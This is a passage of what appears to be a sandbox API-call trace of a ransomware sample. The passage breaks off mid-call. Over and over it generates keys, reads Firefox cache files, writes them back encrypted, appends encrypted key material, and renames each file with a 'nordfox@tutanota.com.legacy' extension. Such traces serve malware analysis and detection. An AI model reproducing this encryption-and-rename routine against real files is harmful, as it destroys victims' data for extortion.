[0192.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1164) returned 0x30f5890 [0192.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1164) returned 0x30d7038 [0192.418] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1164, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1164, lpOverlapped=0x0) returned 1 [0192.425] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.425] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0x1164, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1164, lpOverlapped=0x0) returned 1 [0192.425] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1164 [0192.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.425] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d668*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.426] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.426] CloseHandle (hObject=0x1b80) returned 1 [0192.426] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.428] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0192.428] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.428] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", dwFileAttributes=0x80) returned 1 [0192.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60e0b8 [0192.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.429] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.429] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=88289) returned 1 [0192.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x158e1) returned 0x30d7038 [0192.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x158e1) returned 0x2eeb018 [0192.429] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x158e1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x158e1, lpOverlapped=0x0) returned 1 [0192.437] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-88289, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.437] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x158e1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x158e1, lpOverlapped=0x0) returned 1 [0192.437] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x158e1 [0192.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.438] WriteFile (in: hFile=0x1b80, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.438] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.438] CloseHandle (hObject=0x1b80) returned 1 [0192.438] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60cf30 | out: pbBuffer=0x60cf30) returned 1 [0192.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.442] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", dwFileAttributes=0x80) returned 1 [0192.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60e0b8 [0192.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.442] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.443] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4455) returned 1 [0192.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1167) returned 0x30f5890 [0192.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1167) returned 0x30d7038 [0192.443] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1167, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1167, lpOverlapped=0x0) returned 1 [0192.444] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.444] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0x1167, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1167, lpOverlapped=0x0) returned 1 [0192.444] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1167 [0192.445] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.445] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60cf30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60cf30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.445] WriteFile (in: hFile=0x1b80, lpBuffer=0x60cf30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cf30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.445] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.445] CloseHandle (hObject=0x1b80) returned 1 [0192.445] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.447] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60ce28 | out: pbBuffer=0x60ce28) returned 1 [0192.447] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.447] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", dwFileAttributes=0x80) returned 1 [0192.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60e4d8 [0192.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.447] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.447] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1863) returned 1 [0192.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x747) returned 0x619c48 [0192.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x747) returned 0x30f5890 [0192.447] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x747, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x747, lpOverlapped=0x0) returned 1 [0192.460] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.460] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x747, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x747, lpOverlapped=0x0) returned 1 [0192.460] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x747 [0192.460] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.460] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.460] WriteFile (in: hFile=0x1b80, lpBuffer=0x60ce28*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60ce28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.461] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.461] CloseHandle (hObject=0x1b80) returned 1 [0192.461] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d668 | out: pbBuffer=0x60d668) returned 1 [0192.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0192.463] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", dwFileAttributes=0x80) returned 1 [0192.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60da88 [0192.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.463] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.464] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7523) returned 1 [0192.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1d63) returned 0x30d7038 [0192.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1d63) returned 0x30d8da8 [0192.464] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1d63, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1d63, lpOverlapped=0x0) returned 1 [0192.465] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-7523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.465] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8da8*, nNumberOfBytesToWrite=0x1d63, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1d63, lpOverlapped=0x0) returned 1 [0192.465] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1d63 [0192.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.466] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d668*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.466] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.466] CloseHandle (hObject=0x1b80) returned 1 [0192.466] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dc98 | out: pbBuffer=0x60dc98) returned 1 [0192.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.468] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", dwFileAttributes=0x80) returned 1 [0192.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d038 [0192.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.468] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.469] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14134) returned 1 [0192.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3736) returned 0x30d7038 [0192.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3736) returned 0x30da778 [0192.469] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x3736, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x3736, lpOverlapped=0x0) returned 1 [0192.470] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-14134, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.470] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da778*, nNumberOfBytesToWrite=0x3736, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3736, lpOverlapped=0x0) returned 1 [0192.470] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3736 [0192.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dc98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dc98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.471] WriteFile (in: hFile=0x1b80, lpBuffer=0x60dc98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dc98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.471] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.471] CloseHandle (hObject=0x1b80) returned 1 [0192.471] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60ea00 | out: pbBuffer=0x60ea00) returned 1 [0192.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.473] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", dwFileAttributes=0x80) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d878 [0192.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.473] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.473] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4406) returned 1 [0192.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1136) returned 0x30f5890 [0192.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1136) returned 0x30d7038 [0192.473] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1136, lpNumberOfBytesRead=0x2e1f9bc, 